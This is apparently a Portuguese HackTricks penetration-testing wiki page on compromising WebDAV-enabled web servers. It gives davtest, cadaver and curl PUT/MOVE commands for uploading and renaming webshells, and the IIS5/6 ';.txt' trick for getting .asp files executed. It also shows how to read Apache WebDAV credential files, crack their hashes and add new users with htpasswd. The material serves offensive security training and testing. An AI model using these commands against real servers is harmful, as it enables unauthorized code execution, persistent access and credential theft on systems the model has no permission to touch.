WebDav

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Ao lidar com um Servidor HTTP com WebDav habilitado, Ă© possĂ­vel manipular arquivos se vocĂȘ tiver as credenciais corretas, geralmente verificadas atravĂ©s da Autenticação BĂĄsica HTTP. Ganhar controle sobre tal servidor muitas vezes envolve o upload e execução de um webshell.

O acesso ao servidor WebDav normalmente requer credenciais vålidas, com bruteforce WebDav sendo um método comum para adquiri-las.

Para superar restriçÔes em uploads de arquivos, especialmente aquelas que impedem a execução de scripts do lado do servidor, vocĂȘ pode:

  • Fazer upload de arquivos com extensĂ”es executĂĄveis diretamente se nĂŁo houver restriçÔes.
  • Renomear arquivos nĂŁo executĂĄveis enviados (como .txt) para uma extensĂŁo executĂĄvel.
  • Copiar arquivos nĂŁo executĂĄveis enviados, mudando sua extensĂŁo para uma que seja executĂĄvel.

DavTest

Davtest tenta fazer upload de vårios arquivos com diferentes extensÔes e verifica se a extensão é executada:

davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions
davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Isso nĂŁo significa que as extensĂ”es .txt e .html estĂŁo sendo executadas. Isso significa que vocĂȘ pode acessar esses arquivos pela web.

Cadaver

VocĂȘ pode usar essa ferramenta para conectar ao servidor WebDav e realizar açÔes (como fazer upload, mover ou deletar) manualmente.

cadaver <IP>

Solicitação PUT

curl -T 'shell.txt' 'http://$ip'

MOVE request

curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

Vulnerabilidade do WebDav no IIS5/6

Esta vulnerabilidade Ă© muito interessante. O WebDav nĂŁo permite carregar ou renomear arquivos com a extensĂŁo .asp. Mas vocĂȘ pode contornar isso adicionando no final do nome “;.txt” e o arquivo serĂĄ executado como se fosse um arquivo .asp (vocĂȘ tambĂ©m poderia usar “.html” em vez de “.txt”, mas NÃO se esqueça do “;”).

EntĂŁo vocĂȘ pode carregar seu shell como um arquivo “.txt” e copiĂĄ-lo/movĂȘ-lo para um arquivo “.asp;.txt”. Ao acessar esse arquivo atravĂ©s do servidor web, ele serĂĄ executado (o cadaver dirĂĄ que a ação de mover nĂŁo funcionou, mas funcionou).

Credenciais pĂłs

Se o Webdav estiver usando um servidor Apache, vocĂȘ deve verificar os sites configurados no Apache. Comumente:
/etc/apache2/sites-enabled/000-default

Dentro dele vocĂȘ pode encontrar algo como:

ServerAdmin webmaster@localhost
Alias /webdav /var/www/webdav
<Directory /var/www/webdav>
DAV On
AuthType Digest
AuthName "webdav"
AuthUserFile /etc/apache2/users.password
Require valid-user

Como vocĂȘ pode ver, hĂĄ os arquivos com as credenciais vĂĄlidas para o servidor webdav:

/etc/apache2/users.password

Dentro deste tipo de arquivos, vocĂȘ encontrarĂĄ o username e um hash da senha. Estas sĂŁo as credenciais que o servidor webdav estĂĄ usando para autenticar usuĂĄrios.

VocĂȘ pode tentar crack-ĂĄ-los, ou adicionar mais se por algum motivo vocĂȘ quiser acessar o servidor webdav:

htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Para verificar se as novas credenciais estĂŁo funcionando, vocĂȘ pode fazer:

wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

ReferĂȘncias

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks